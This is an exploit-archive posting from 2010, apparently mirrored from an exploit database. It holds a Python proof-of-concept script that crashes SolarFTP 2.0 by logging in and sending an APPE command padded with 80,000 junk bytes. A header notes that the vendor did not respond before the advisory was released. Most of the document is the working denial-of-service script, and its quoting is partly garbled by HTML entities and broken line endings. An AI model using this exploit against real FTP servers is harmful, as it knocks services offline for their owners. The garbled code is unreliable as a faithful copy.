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[dos / poc] - SolarFTP 2.0 Multiple Commands Denial of Servi

Posted on 16 December 2010

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SolarFTP 2.0 Multiple Commands Denial of Service
================================================

#!/usr/bin/python
 
# Exploit Title: SolarFTP 2.0 Multiple Commands Denial of Service Vulnerability
# Date: 12/17/2010
# Author: modpr0be
# Software Link: http://www.solarftp.com/files/solarftps-setup.exe
# Vulnerable version: 2.0
# Tested on: Windows XP SP2, Windows XP SP3
# CVE : N/A
#
# ======================================================================
#        ___       _ __        __            __    _     __
#   ____/ (_)___ _(_) /_____ _/ / ___  _____/ /_  (_)___/ /___  ____ _
#  / __  / / __ `/ / __/ __ `/ / / _ / ___/ __ / / __  / __ / __ `/
# / /_/ / / /_/ / / /_/ /_/ / / /  __/ /__/ / / / / /_/ / / / / /_/ /
# \__,_/_/\__, /_/\__/\__,_/_/  \___/\___/_/ /_/_/\__,_/_/ /_/\__,_/
#        /____/                          http://www.digital-echidna.org
# ======================================================================
#
# Greetz:
#   say hello to all digital-echidna org crew:
#       otoy, bean, s3o, d00m, n0rf0x, fm, gotechidna, manix
#   special thx to amalia (^^), oebaj, offsec, exploit-db, corelan team
#
#### Software description:
# Solar FTP Server is a handy and easy to use personal FTP server with
# features like virtual directories, simple and intuitive user interface,
# real-time activity monitoring and management.
#
#### Exploit information:
# SolarFTP 2.0 will suddenly stop (crash) while these commands were sent:
# APPE, GET, PUT, NLST, and MDTM
# Sending USER with junk also crashing the Admin Configuration but not the service.
# Stack contains our junk in random. Both EIP and SEH were not overwritten.
#
#### Other information:
# 12/10/2010 - vendor contacted
# 12/17/2010 - no response, advisory released
 
import socket, sys
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
junk = &quot;x41&quot; * 80000
 
def banner():
    print &quot;
SolarFTP 2.0 Multiple Commands Denial of Service Vulnerability.&quot;
    print &quot;By: modpr0be (modpr0be[at]digital-echidna[dot]org)
&quot;
 
     
if len(sys.argv)!=4:
        banner()
        print &quot;Usage: %s &lt;ip&gt; &lt;user&gt; &lt;pass&gt;
&quot; %sys.argv[0]
        sys.exit(0)
 
try:
    s.connect((sys.argv[1], 21))
except:
    print &quot;Can&#039;t connect to server!
&quot;
    sys.exit(0)
     
s.recv(1024)
s.send(&#039;USER &#039;+sys.argv[2]+&#039;
&#039;)
s.recv(1024)
s.send(&#039;PASS &#039;+sys.argv[3]+&#039;
&#039;)
s.recv(1024)
s.send(&#039;APPE &#039;+junk+&#039;
&#039;)
s.recv(1024)
s.close()


# <a href='http://1337db.com/'>1337db.com</a> [2010-12-16]</pre></body></html>

 

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